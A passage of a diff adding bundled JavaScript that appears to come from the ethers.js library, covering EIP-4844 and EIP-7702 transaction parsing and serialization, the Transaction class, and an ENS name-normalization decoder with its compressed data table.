(fields.length === 11 || fields.length === 14), `invalid field count for transaction type: ${typeName}`, "data", hexlify(data)); + const tx = { + type: 3, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: hexlify(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + maxFeePerBlobGas: handleUint(fields[9], "maxFeePerBlobGas"), + blobVersionedHashes: fields[10] + }; + if (blobs) { + tx.blobs = blobs; + } + assertArgument(tx.to != null, `invalid address for transaction type: ${typeName}`, "data", data); + assertArgument(Array.isArray(tx.blobVersionedHashes), "invalid blobVersionedHashes: must be an array", "data", data); + for (let i = 0; i < tx.blobVersionedHashes.length; i++) { + assertArgument(isHexString(tx.blobVersionedHashes[i], 32), `invalid blobVersionedHash at index ${i}: must be length 32`, "data", data); + } + // Unsigned EIP-4844 Transaction + if (fields.length === 11) { + return tx; + } + // @TODO: Do we need to do this? This is only called internally + // and used to verify hashes; it might save time to not do this + //tx.hash = keccak256(concat([ "0x03", encodeRlp(fields) ])); + _parseEipSignature(tx, fields.slice(11)); + return tx; +} +function _serializeEip4844(tx, sig, blobs) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || ZeroAddress), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []), + formatNumber(tx.maxFeePerBlobGas || 0, "maxFeePerBlobGas"), + formatHashes(tx.blobVersionedHashes || [], "blobVersionedHashes") + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + // We have blobs; return the network wrapped format + if (blobs) { + return concat([ + "0x03", + encodeRlp([ + fields, + blobs.map((b) => b.data), + blobs.map((b) => b.commitment), + blobs.map((b) => b.proof), + ]) + ]); + } + } + return concat(["0x03", encodeRlp(fields)]); +} +function _parseEip7702(data) { + const fields = decodeRlp(getBytes(data).slice(1)); + assertArgument(Array.isArray(fields) && (fields.length === 10 || fields.length === 13), "invalid field count for transaction type: 4", "data", hexlify(data)); + const tx = { + type: 4, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: hexlify(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + authorizationList: handleAuthorizationList(fields[9], "authorizationList"), + }; + // Unsigned EIP-7702 Transaction + if (fields.length === 10) { + return tx; + } + _parseEipSignature(tx, fields.slice(10)); + return tx; +} +function _serializeEip7702(tx, sig) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []), + formatAuthorizationList(tx.authorizationList || []) + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + } + return concat(["0x04", encodeRlp(fields)]); +} +/** + * A **Transaction** describes an operation to be executed on + * Ethereum by an Externally Owned Account (EOA). It includes + * who (the [[to]] address), what (the [[data]]) and how much (the + * [[value]] in ether) the operation should entail. + * + * @example: + * tx = new Transaction() + * //_result: + * + * tx.data = "0x1234"; + * //_result: + */ +class Transaction { + #type; + #to; + #data; + #nonce; + #gasLimit; + #gasPrice; + #maxPriorityFeePerGas; + #maxFeePerGas; + #value; + #chainId; + #sig; + #accessList; + #maxFeePerBlobGas; + #blobVersionedHashes; + #kzg; + #blobs; + #auths; + /** + * The transaction type. + * + * If null, the type will be automatically inferred based on + * explicit properties. + */ + get type() { return this.#type; } + set type(value) { + switch (value) { + case null: + this.#type = null; + break; + case 0: + case "legacy": + this.#type = 0; + break; + case 1: + case "berlin": + case "eip-2930": + this.#type = 1; + break; + case 2: + case "london": + case "eip-1559": + this.#type = 2; + break; + case 3: + case "cancun": + case "eip-4844": + this.#type = 3; + break; + case 4: + case "pectra": + case "eip-7702": + this.#type = 4; + break; + default: + assertArgument(false, "unsupported transaction type", "type", value); + } + } + /** + * The name of the transaction type. + */ + get typeName() { + switch (this.type) { + case 0: return "legacy"; + case 1: return "eip-2930"; + case 2: return "eip-1559"; + case 3: return "eip-4844"; + case 4: return "eip-7702"; + } + return null; + } + /** + * The ``to`` address for the transaction or ``null`` if the + * transaction is an ``init`` transaction. + */ + get to() { + const value = this.#to; + if (value == null && this.type === 3) { + return ZeroAddress; + } + return value; + } + set to(value) { + this.#to = (value == null) ? null : getAddress(value); + } + /** + * The transaction nonce. + */ + get nonce() { return this.#nonce; } + set nonce(value) { this.#nonce = getNumber(value, "value"); } + /** + * The gas limit. + */ + get gasLimit() { return this.#gasLimit; } + set gasLimit(value) { this.#gasLimit = getBigInt(value); } + /** + * The gas price. + * + * On legacy networks this defines the fee that will be paid. On + * EIP-1559 networks, this should be ``null``. + */ + get gasPrice() { + const value = this.#gasPrice; + if (value == null && (this.type === 0 || this.type === 1)) { + return BN_0$4; + } + return value; + } + set gasPrice(value) { + this.#gasPrice = (value == null) ? null : getBigInt(value, "gasPrice"); + } + /** + * The maximum priority fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxPriorityFeePerGas() { + const value = this.#maxPriorityFeePerGas; + if (value == null) { + if (this.type === 2 || this.type === 3) { + return BN_0$4; + } + return null; + } + return value; + } + set maxPriorityFeePerGas(value) { + this.#maxPriorityFeePerGas = (value == null) ? null : getBigInt(value, "maxPriorityFeePerGas"); + } + /** + * The maximum total fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxFeePerGas() { + const value = this.#maxFeePerGas; + if (value == null) { + if (this.type === 2 || this.type === 3) { + return BN_0$4; + } + return null; + } + return value; + } + set maxFeePerGas(value) { + this.#maxFeePerGas = (value == null) ? null : getBigInt(value, "maxFeePerGas"); + } + /** + * The transaction data. For ``init`` transactions this is the + * deployment code. + */ + get data() { return this.#data; } + set data(value) { this.#data = hexlify(value); } + /** + * The amount of ether (in wei) to send in this transactions. + */ + get value() { return this.#value; } + set value(value) { + this.#value = getBigInt(value, "value"); + } + /** + * The chain ID this transaction is valid on. + */ + get chainId() { return this.#chainId; } + set chainId(value) { this.#chainId = getBigInt(value); } + /** + * If signed, the signature for this transaction. + */ + get signature() { return this.#sig || null; } + set signature(value) { + this.#sig = (value == null) ? null : Signature.from(value); + } + /** + * The access list. + * + * An access list permits discounted (but pre-paid) access to + * bytecode and state variable access within contract execution. + */ + get accessList() { + const value = this.#accessList || null; + if (value == null) { + if (this.type === 1 || this.type === 2 || this.type === 3) { + // @TODO: in v7, this should assign the value or become + // a live object itself, otherwise mutation is inconsistent + return []; + } + return null; + } + return value; + } + set accessList(value) { + this.#accessList = (value == null) ? null : accessListify(value); + } + get authorizationList() { + const value = this.#auths || null; + if (value == null) { + if (this.type === 4) { + // @TODO: in v7, this should become a live object itself, + // otherwise mutation is inconsistent + return []; + } + } + return value; + } + set authorizationList(auths) { + this.#auths = (auths == null) ? null : auths.map((a) => authorizationify(a)); + } + /** + * The max fee per blob gas for Cancun transactions. + */ + get maxFeePerBlobGas() { + const value = this.#maxFeePerBlobGas; + if (value == null && this.type === 3) { + return BN_0$4; + } + return value; + } + set maxFeePerBlobGas(value) { + this.#maxFeePerBlobGas = (value == null) ? null : getBigInt(value, "maxFeePerBlobGas"); + } + /** + * The BLOb versioned hashes for Cancun transactions. + */ + get blobVersionedHashes() { + // @TODO: Mutation is inconsistent; if unset, the returned value + // cannot mutate the object, if set it can + let value = this.#blobVersionedHashes; + if (value == null && this.type === 3) { + return []; + } + return value; + } + set blobVersionedHashes(value) { + if (value != null) { + assertArgument(Array.isArray(value), "blobVersionedHashes must be an Array", "value", value); + value = value.slice(); + for (let i = 0; i < value.length; i++) { + assertArgument(isHexString(value[i], 32), "invalid blobVersionedHash", `value[${i}]`, value[i]); + } + } + this.#blobVersionedHashes = value; + } + /** + * The BLObs for the Transaction, if any. + * + * If ``blobs`` is non-``null``, then the [[seriailized]] + * will return the network formatted sidecar, otherwise it + * will return the standard [[link-eip-2718]] payload. The + * [[unsignedSerialized]] is unaffected regardless. + * + * When setting ``blobs``, either fully valid [[Blob]] objects + * may be specified (i.e. correctly padded, with correct + * committments and proofs) or a raw [[BytesLike]] may + * be provided. + * + * If raw [[BytesLike]] are provided, the [[kzg]] property **must** + * be already set. The blob will be correctly padded and the + * [[KzgLibrary]] will be used to compute the committment and + * proof for the blob. + * + * A BLOb is a sequence of field elements, each of which must + * be within the BLS field modulo, so some additional processing + * may be required to encode arbitrary data to ensure each 32 byte + * field is within the valid range. + * + * Setting this automatically populates [[blobVersionedHashes]], + * overwriting any existing values. Setting this to ``null`` + * does **not** remove the [[blobVersionedHashes]], leaving them + * present. + */ + get blobs() { + if (this.#blobs == null) { + return null; + } + return this.#blobs.map((b) => Object.assign({}, b)); + } + set blobs(_blobs) { + if (_blobs == null) { + this.#blobs = null; + return; + } + const blobs = []; + const versionedHashes = []; + for (let i = 0; i < _blobs.length; i++) { + const blob = _blobs[i]; + if (isBytesLike(blob)) { + assert(this.#kzg, "adding a raw blob requires a KZG library", "UNSUPPORTED_OPERATION", { + operation: "set blobs()" + }); + let data = getBytes(blob); + assertArgument(data.length <= BLOB_SIZE, "blob is too large", `blobs[${i}]`, blob); + // Pad blob if necessary + if (data.length !== BLOB_SIZE) { + const padded = new Uint8Array(BLOB_SIZE); + padded.set(data); + data = padded; + } + const commit = this.#kzg.blobToKzgCommitment(data); + const proof = hexlify(this.#kzg.computeBlobKzgProof(data, commit)); + blobs.push({ + data: hexlify(data), + commitment: hexlify(commit), + proof + }); + versionedHashes.push(getVersionedHash(1, commit)); + } + else { + const commit = hexlify(blob.commitment); + blobs.push({ + data: hexlify(blob.data), + commitment: commit, + proof: hexlify(blob.proof) + }); + versionedHashes.push(getVersionedHash(1, commit)); + } + } + this.#blobs = blobs; + this.#blobVersionedHashes = versionedHashes; + } + get kzg() { return this.#kzg; } + set kzg(kzg) { + if (kzg == null) { + this.#kzg = null; + } + else { + this.#kzg = getKzgLibrary(kzg); + } + } + /** + * Creates a new Transaction with default values. + */ + constructor() { + this.#type = null; + this.#to = null; + this.#nonce = 0; + this.#gasLimit = BN_0$4; + this.#gasPrice = null; + this.#maxPriorityFeePerGas = null; + this.#maxFeePerGas = null; + this.#data = "0x"; + this.#value = BN_0$4; + this.#chainId = BN_0$4; + this.#sig = null; + this.#accessList = null; + this.#maxFeePerBlobGas = null; + this.#blobVersionedHashes = null; + this.#kzg = null; + this.#blobs = null; + this.#auths = null; + } + /** + * The transaction hash, if signed. Otherwise, ``null``. + */ + get hash() { + if (this.signature == null) { + return null; + } + return keccak256(this.#getSerialized(true, false)); + } + /** + * The pre-image hash of this transaction. + * + * This is the digest that a [[Signer]] must sign to authorize + * this transaction. + */ + get unsignedHash() { + return keccak256(this.unsignedSerialized); + } + /** + * The sending address, if signed. Otherwise, ``null``. + */ + get from() { + if (this.signature == null) { + return null; + } + return recoverAddress(this.unsignedHash, this.signature); + } + /** + * The public key of the sender, if signed. Otherwise, ``null``. + */ + get fromPublicKey() { + if (this.signature == null) { + return null; + } + return SigningKey.recoverPublicKey(this.unsignedHash, this.signature); + } + /** + * Returns true if signed. + * + * This provides a Type Guard that properties requiring a signed + * transaction are non-null. + */ + isSigned() { + return this.signature != null; + } + #getSerialized(signed, sidecar) { + assert(!signed || this.signature != null, "cannot serialize unsigned transaction; maybe you meant .unsignedSerialized", "UNSUPPORTED_OPERATION", { operation: ".serialized" }); + const sig = signed ? this.signature : null; + switch (this.inferType()) { + case 0: + return _serializeLegacy(this, sig); + case 1: + return _serializeEip2930(this, sig); + case 2: + return _serializeEip1559(this, sig); + case 3: + return _serializeEip4844(this, sig, sidecar ? this.blobs : null); + case 4: + return _serializeEip7702(this, sig); + } + assert(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: ".serialized" }); + } + /** + * The serialized transaction. + * + * This throws if the transaction is unsigned. For the pre-image, + * use [[unsignedSerialized]]. + */ + get serialized() { + return this.#getSerialized(true, true); + } + /** + * The transaction pre-image. + * + * The hash of this is the digest which needs to be signed to + * authorize this transaction. + */ + get unsignedSerialized() { + return this.#getSerialized(false, false); + } + /** + * Return the most "likely" type; currently the highest + * supported transaction type. + */ + inferType() { + const types = this.inferTypes(); + // Prefer London (EIP-1559) over Cancun (BLOb) + if (types.indexOf(2) >= 0) { + return 2; + } + // Return the highest inferred type + return (types.pop()); + } + /** + * Validates the explicit properties and returns a list of compatible + * transaction types. + */ + inferTypes() { + // Checks that there are no conflicting properties set + const hasGasPrice = this.gasPrice != null; + const hasFee = (this.maxFeePerGas != null || this.maxPriorityFeePerGas != null); + const hasAccessList = (this.accessList != null); + const hasBlob = (this.#maxFeePerBlobGas != null || this.#blobVersionedHashes); + //if (hasGasPrice && hasFee) { + // throw new Error("transaction cannot have gasPrice and maxFeePerGas"); + //} + if (this.maxFeePerGas != null && this.maxPriorityFeePerGas != null) { + assert(this.maxFeePerGas >= this.maxPriorityFeePerGas, "priorityFee cannot be more than maxFee", "BAD_DATA", { value: this }); + } + //if (this.type === 2 && hasGasPrice) { + // throw new Error("eip-1559 transaction cannot have gasPrice"); + //} + assert(!hasFee || (this.type !== 0 && this.type !== 1), "transaction type cannot have maxFeePerGas or maxPriorityFeePerGas", "BAD_DATA", { value: this }); + assert(this.type !== 0 || !hasAccessList, "legacy transaction cannot have accessList", "BAD_DATA", { value: this }); + const types = []; + // Explicit type + if (this.type != null) { + types.push(this.type); + } + else { + if (this.authorizationList && this.authorizationList.length) { + types.push(4); + } + else if (hasFee) { + types.push(2); + } + else if (hasGasPrice) { + types.push(1); + if (!hasAccessList) { + types.push(0); + } + } + else if (hasAccessList) { + types.push(1); + types.push(2); + } + else if (hasBlob && this.to) { + types.push(3); + } + else { + types.push(0); + types.push(1); + types.push(2); + types.push(3); + } + } + types.sort(); + return types; + } + /** + * Returns true if this transaction is a legacy transaction (i.e. + * ``type === 0``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLegacy() { + return (this.type === 0); + } + /** + * Returns true if this transaction is berlin hardform transaction (i.e. + * ``type === 1``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isBerlin() { + return (this.type === 1); + } + /** + * Returns true if this transaction is london hardform transaction (i.e. + * ``type === 2``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLondon() { + return (this.type === 2); + } + /** + * Returns true if this transaction is an [[link-eip-4844]] BLOB + * transaction. + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isCancun() { + return (this.type === 3); + } + /** + * Create a copy of this transaciton. + */ + clone() { + return Transaction.from(this); + } + /** + * Return a JSON-friendly object. + */ + toJSON() { + const s = (v) => { + if (v == null) { + return null; + } + return v.toString(); + }; + return { + type: this.type, + to: this.to, + // from: this.from, + data: this.data, + nonce: this.nonce, + gasLimit: s(this.gasLimit), + gasPrice: s(this.gasPrice), + maxPriorityFeePerGas: s(this.maxPriorityFeePerGas), + maxFeePerGas: s(this.maxFeePerGas), + value: s(this.value), + chainId: s(this.chainId), + sig: this.signature ? this.signature.toJSON() : null, + accessList: this.accessList + }; + } + /** + * Create a **Transaction** from a serialized transaction or a + * Transaction-like object. + */ + static from(tx) { + if (tx == null) { + return new Transaction(); + } + if (typeof (tx) === "string") { + const payload = getBytes(tx); + if (payload[0] >= 0x7f) { // @TODO: > vs >= ?? + return Transaction.from(_parseLegacy(payload)); + } + switch (payload[0]) { + case 1: return Transaction.from(_parseEip2930(payload)); + case 2: return Transaction.from(_parseEip1559(payload)); + case 3: return Transaction.from(_parseEip4844(payload)); + case 4: return Transaction.from(_parseEip7702(payload)); + } + assert(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: "from" }); + } + const result = new Transaction(); + if (tx.type != null) { + result.type = tx.type; + } + if (tx.to != null) { + result.to = tx.to; + } + if (tx.nonce != null) { + result.nonce = tx.nonce; + } + if (tx.gasLimit != null) { + result.gasLimit = tx.gasLimit; + } + if (tx.gasPrice != null) { + result.gasPrice = tx.gasPrice; + } + if (tx.maxPriorityFeePerGas != null) { + result.maxPriorityFeePerGas = tx.maxPriorityFeePerGas; + } + if (tx.maxFeePerGas != null) { + result.maxFeePerGas = tx.maxFeePerGas; + } + if (tx.maxFeePerBlobGas != null) { + result.maxFeePerBlobGas = tx.maxFeePerBlobGas; + } + if (tx.data != null) { + result.data = tx.data; + } + if (tx.value != null) { + result.value = tx.value; + } + if (tx.chainId != null) { + result.chainId = tx.chainId; + } + if (tx.signature != null) { + result.signature = Signature.from(tx.signature); + } + if (tx.accessList != null) { + result.accessList = tx.accessList; + } + if (tx.authorizationList != null) { + result.authorizationList = tx.authorizationList; + } + // This will get overwritten by blobs, if present + if (tx.blobVersionedHashes != null) { + result.blobVersionedHashes = tx.blobVersionedHashes; + } + // Make sure we assign the kzg before assigning blobs, which + // require the library in the event raw blob data is provided. + if (tx.kzg != null) { + result.kzg = tx.kzg; + } + if (tx.blobs != null) { + result.blobs = tx.blobs; + } + if (tx.hash != null) { + assertArgument(result.isSigned(), "unsigned transaction cannot define '.hash'", "tx", tx); + assertArgument(result.hash === tx.hash, "hash mismatch", "tx", tx); + } + if (tx.from != null) { + assertArgument(result.isSigned(), "unsigned transaction cannot define '.from'", "tx", tx); + assertArgument(result.from.toLowerCase() === (tx.from || "").toLowerCase(), "from mismatch", "tx", tx); + } + return result; + } +} + +/** + * Computes the [[link-eip-7702]] authorization digest to sign. + */ +function hashAuthorization(auth) { + assertArgument(typeof (auth.address) === "string", "invalid address for hashAuthorization", "auth.address", auth); + return keccak256(concat([ + "0x05", encodeRlp([ + (auth.chainId != null) ? toBeArray(auth.chainId) : "0x", + getAddress(auth.address), + (auth.nonce != null) ? toBeArray(auth.nonce) : "0x", + ]) + ])); +} +/** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ +function verifyAuthorization(auth, sig) { + return recoverAddress(hashAuthorization(auth), sig); +} + +/** + * A simple hashing function which operates on UTF-8 strings to + * compute an 32-byte identifier. + * + * This simply computes the [UTF-8 bytes](toUtf8Bytes) and computes + * the [[keccak256]]. + * + * @example: + * id("hello world") + * //_result: + */ +function id(value) { + return keccak256(toUtf8Bytes(value)); +} + +// created 2023-09-25T01:01:55.148Z +// compressed base64-encoded blob for include-ens data +// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js +// see: https://github.com/adraffy/ens-normalize.js#security +// SHA-256: 0565ed049b9cf1614bb9e11ba7d8ac6a6fb96c893253d890f7e2b2884b9ded32 +var COMPRESSED$1 = 'AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AGgAjAB8ALwAUACkAEgAeAAkAGwARABkAFgA5ACgALQArADcAFQApABAAHgAiABAAGgAeABMAGAUhBe8BFxREN8sF2wC5AK5HAW8ArQkDzQCuhzc3NzcBP68NEfMABQdHBuw5BV8FYAA9MzkI9r4ZBg7QyQAWA9CeOwLNCjcCjqkChuA/lm+RAsXTAoP6ASfnEQDytQFJAjWVCkeXAOsA6godAB/cwdAUE0WlBCN/AQUCQRjFD/MRBjHxDQSJbw0jBzUAswBxme+tnIcAYwabAysG8QAjAEMMmxcDqgPKQyDXCMMxA7kUQwD3NXOrAKmFIAAfBC0D3x4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IxOSQgU9dn/lWkeVf8nUm3iwX2Nl3WDw9i6AUK3vBAbZZrcJpDQ/N64AVwjT07Jef30GSSmtNu2WlW7YoyW2FlWfZFQUwk867EdLYKk9VG6JgEnBiBxkY7LMo4YLQJJlAo9l/oTvJkSARDF/XtyAzM8O2t3eT/iXa6wDN3WewNmQHdPfsxChU/KtLG2Mn8i4ZqKdSlIaBZadxJmRzVS/o4yA65RTSViq60oa395Lqw0pzY4SipwE0SXXsKV+GZraGSkr/RW08wPRvqvSUkYBMA9lPx4m24az+IHmCbXA+0faxTRE9wuGeO06DIXa6QlKJ3puIyiuAVfPr736vzo2pBirS+Vxel3TMm3JKhz9o2ZoRvaFVpIkykb0Hcm4oHFBMcNSNj7/4GJt43ogonY2Vg4nsDQIWxAcorpXACzgBqQPjYsE/VUpXpwNManEru4NwMCFPkXvMoqvoeLN3qyu/N1eWEHttMD65v19l/0kH2mR35iv/FI+yjoHJ9gPMz67af3Mq/BoWXqu3rphiWMXVkmnPSEkpGpUI2h1MThideGFEOK6YZHPwYzMBvpNC7+ZHxPb7epfefGyIB4JzO9DTNEYnDLVVHdQyvOEVefrk6Uv5kTQYVYWWdqrdcIl7yljwwIWdfQ/y+2QB3eR/qxYObuYyB4gTbo2in4PzarU1sO9nETkmj9/AoxDA+JM3GMqQtJR4jtduHtnoCLxd1gQUscHRB/MoRYIEsP2pDZ9KvHgtlk1iTbWWbHhohwFEYX7y51fUV2nuUmnoUcqnWIQAAgl9LTVX+Bc0QGNEhChxHR4YjfE51PUdGfsSFE6ck7BL3/hTf9jLq4G1IafINxOLKeAtO7quulYvH5YOBc+zX7CrMgWnW47/jfRsWnJjYYoE7xMfWV2HN2iyIqLI'; +const FENCED = new Map([[8217,"apostrophe"],[8260,"fraction slash"],[12539,"middle dot"]]); +const NSM_MAX = 4; + +function decode_arithmetic(bytes) { + let pos = 0; + function u16() { return (bytes[pos++] << 8) | bytes[pos++]; } + + // decode the frequency table + let symbol_count = u16(); + let total = 1; + let acc = [0, 1]; // first symbol has frequency 1 + for (let i = 1; i < symbol_count; i++) { + acc.push(total += u16()); + } + + // skip the sized-payload that the last 3 symbols index into + let skip = u16(); + let pos_payload = pos; + pos += skip; + + let read_width = 0; + let read_buffer = 0; + function read_bit() { + if (read_width == 0) { + // this will read beyond end of buffer + // but (undefined|0) => zero pad + read_buffer = (read_buffer << 8) | bytes[pos++]; + read_width = 8; + } + return (read_buffer >> --read_width) & 1; + } + + const N = 31; + const FULL = 2**N; + const HALF = FULL >>> 1; + const QRTR = HALF >> 1; + const MASK = FULL - 1; + + // fill register + let register = 0; + for (let i = 0; i < N; i++) register = (register << 1) | read_bit(); + + let symbols = []; + let low = 0; + let range = FULL; // treat like a float + while (true) { + let value = Math.floor((((register - low + 1) * total) - 1) / range); + let start = 0; + let end = symbol_count; + while (end - start > 1) { // binary search + let mid = (start + end) >>> 1; + if (value < acc[mid]) { + end = mid; + } else { + start = mid; + } + } + if (start == 0) break; // first symbol is end mark + symbols.push(start); + let a = low + Math.floor(range * acc[start] / total); + let b = low + Math.floor(range * acc[start+1] / total) - 1; + while (((a ^ b) & HALF) == 0) { + register = (register << 1) & MASK | read_bit(); + a = (a << 1) & MASK; + b = (b << 1) & MASK | 1; + } + while (a & ~b & QRTR) { + register = (register & HALF) | ((register << 1) & (MASK >>> 1)) | read_bit(); + a = (a << 1) ^ HALF; + b = ((b ^ HALF) << 1) | HALF | 1; + } + low = a; + range = 1 + b - a; + } + let offset = symbol_count - 4; + return symbols.map(x => { // index into payload + switch (x - offset) { + case 3: return offset + 0x10100 + ((bytes[pos_payload++] << 16) | (bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 2: return offset + 0x100 + ((bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 1: return offset + bytes[pos_payload++]; + default: return x - 1; + } + }); +} + +// returns an iterator which returns the next symbol +function read_payload(v) { + let pos = 0; + return () => v[pos++]; +} +function read_compressed_payload(s) { + return read_payload(decode_arithmetic(unsafe_atob(s))); +} + +// unsafe in the sense: +// expected well-formed Base64 w/o padding +// 20220922: added for https://github.com/adraffy/ens-normalize.js/issues/4 +function unsafe_atob(s) { + let lookup = []; + [...'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'].forEach((c, i) => lookup[c.charCodeAt(0)] = i); + let n = s.length; + let ret = new Uint8Array((6 * n) >> 3); + for (let i = 0, pos = 0, width = 0, carry = 0; i < n; i++) { + carry = (carry << 6) | lookup[s.charCodeAt(i)]; + width += 6; + if (width >= 8) { + ret[pos++] = (carry >> (width -= 8)); + } + } + return ret; +} + +// eg. [0,1,2,3...] => [0,-1,1,-2,...] +function signed(i) { + return (i & 1) ? (~i >> 1) : (i >> 1); +} + +function read_deltas(n, next) { + let v = Array(n); + for (let i = 0, x = 0; i < n; i++) v[i] = x += signed(next()); + return v; +} + +// [123][5] => [0 3] [1 1] [0 0] +function read_sorted(next, prev = 0) { + let ret = []; + while (true) { + let x = next(); + let n = next(); + if (!n) break; + prev += x; + for (let i = 0; i < n; i++) { + ret.push(prev + i); + } + prev += n + 1; + } + return ret; +} + +function read_sorted_arrays(next) { + return read_array_while(() => { + let v = read_sorted(next); + if (v.length) return v; + }); +} + +// returns map of x => ys +function read_mapped(next) { + let ret = []; + while (true) { + let w = next(); + if (w == 0) break; + ret.push(read_linear_table(w, next)); + } + while (true) { + let w = next() - 1; + if (w < 0) break; + ret.push(read_replacement_table(w, next)); + } + return ret.flat(); +} + +// read until next is falsy +// return array of read values +function read_array_while(next) { + let v = []; + while (true) { + let x = next(v.length); + if (!x) break; + v.push(x); + } + return v; +} + +// read w columns of length n +// return as n rows of length w +function read_transposed(n, w, next) { + let m = Array(n).fill().map(() => []); + for (let i = 0; i < w; i++) { + read_deltas(n, next).forEach((x, j) => m[j].push(x)); + } + return m; +} + +// returns [[x, ys], [x+dx, ys+dy], [x+2*dx, ys+2*dy], ...] +// where dx/dy = steps, n = run size, w = length of y +function read_linear_table(w, next) { + let dx = 1 + next(); + let dy = next(); + let vN = read_array_while(next); + let m = read_transposed(vN.length, 1+w, next); + return m.flatMap((v, i) => { + let [x, ...ys] = v; + return Array(vN[i]).fill().map((_, j) => { + let j_dy = j * dy; + return [x + j * dx, ys.map(y => y + j_dy)]; + }); + }); +} + +// return [[x, ys...], ...] +// where w = length of y +function read_replacement_table(w, next) { + let n = 1 + next(); + let m = read_transposed(n, 1+w, next); + return m.map(v => [v[0], v.slice(1)]); +} + + +function read_trie(next) { + let ret = []; + let sorted = read_sorted(next); + expand(decode([]), []); + return ret; // not sorted + function decode(Q) { // characters that lead into this node + let S = next(); // state: valid, save, check + let B = read_array_while(() => { // buckets leading to new nodes + let cps = read_sorted(next).map(i => sorted[i]); + if (cps.length) return decode(cps); + }); + return {S, B, Q}; + } + function expand({S, B}, cps, saved) { + if (S & 4 && saved === cps[cps.length-1]) return; + if (S & 2) saved = cps[cps.length-1]; + if (S & 1) ret.push(cps); + for (let br of B) { + for (let cp of br.Q) { + expand(br, [...cps, cp], saved); + } + } + } +} + +function hex_cp(cp) { + return cp.toString(16).toUpperCase().padStart(2, '0'); +} + +function quote_cp(cp) { + return `{${hex_cp(cp)}}`; // raffy convention: like "\u{X}" w/o the "\u" +} + +/* +export function explode_cp(s) { + return [...s].map(c => c.codePointAt(0)); +} +*/ +function explode_cp(s) { // this is about 2x faster + let cps = []; + for (let pos = 0, len = s.length; pos < len; ) { + let cp = s.codePointAt(pos); + pos += cp < 0x10000 ? 1 : 2; + cps.push(cp); + } + return cps; +} + +function str_from_cps(cps) { + const chunk = 4096; + let len = cps.length; + if (len < chunk) return String.fromCodePoint(...cps); + let buf = []; + for (let i = 0; i < len; ) { + buf.push(String.fromCodePoint(...cps.slice(i, i += chunk))); + } + return buf.join(''); +} + +function compare_arrays(a, b) { + let n = a.length; + let c = n - b.length; + for (let i = 0; c == 0 && i < n; i++) c = a[i] - b[i]; + return c; +} + +// created 2023-09-25T01:01:55.148Z +// compressed base64-encoded blob for include-nf data +// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js +// see: https://github.com/adraffy/ens-normalize.js#security +// SHA-256: a974b6f8541fc29d919bc85118af0a44015851fab5343f8679cb31be2bdb209e +var COMPRESSED = 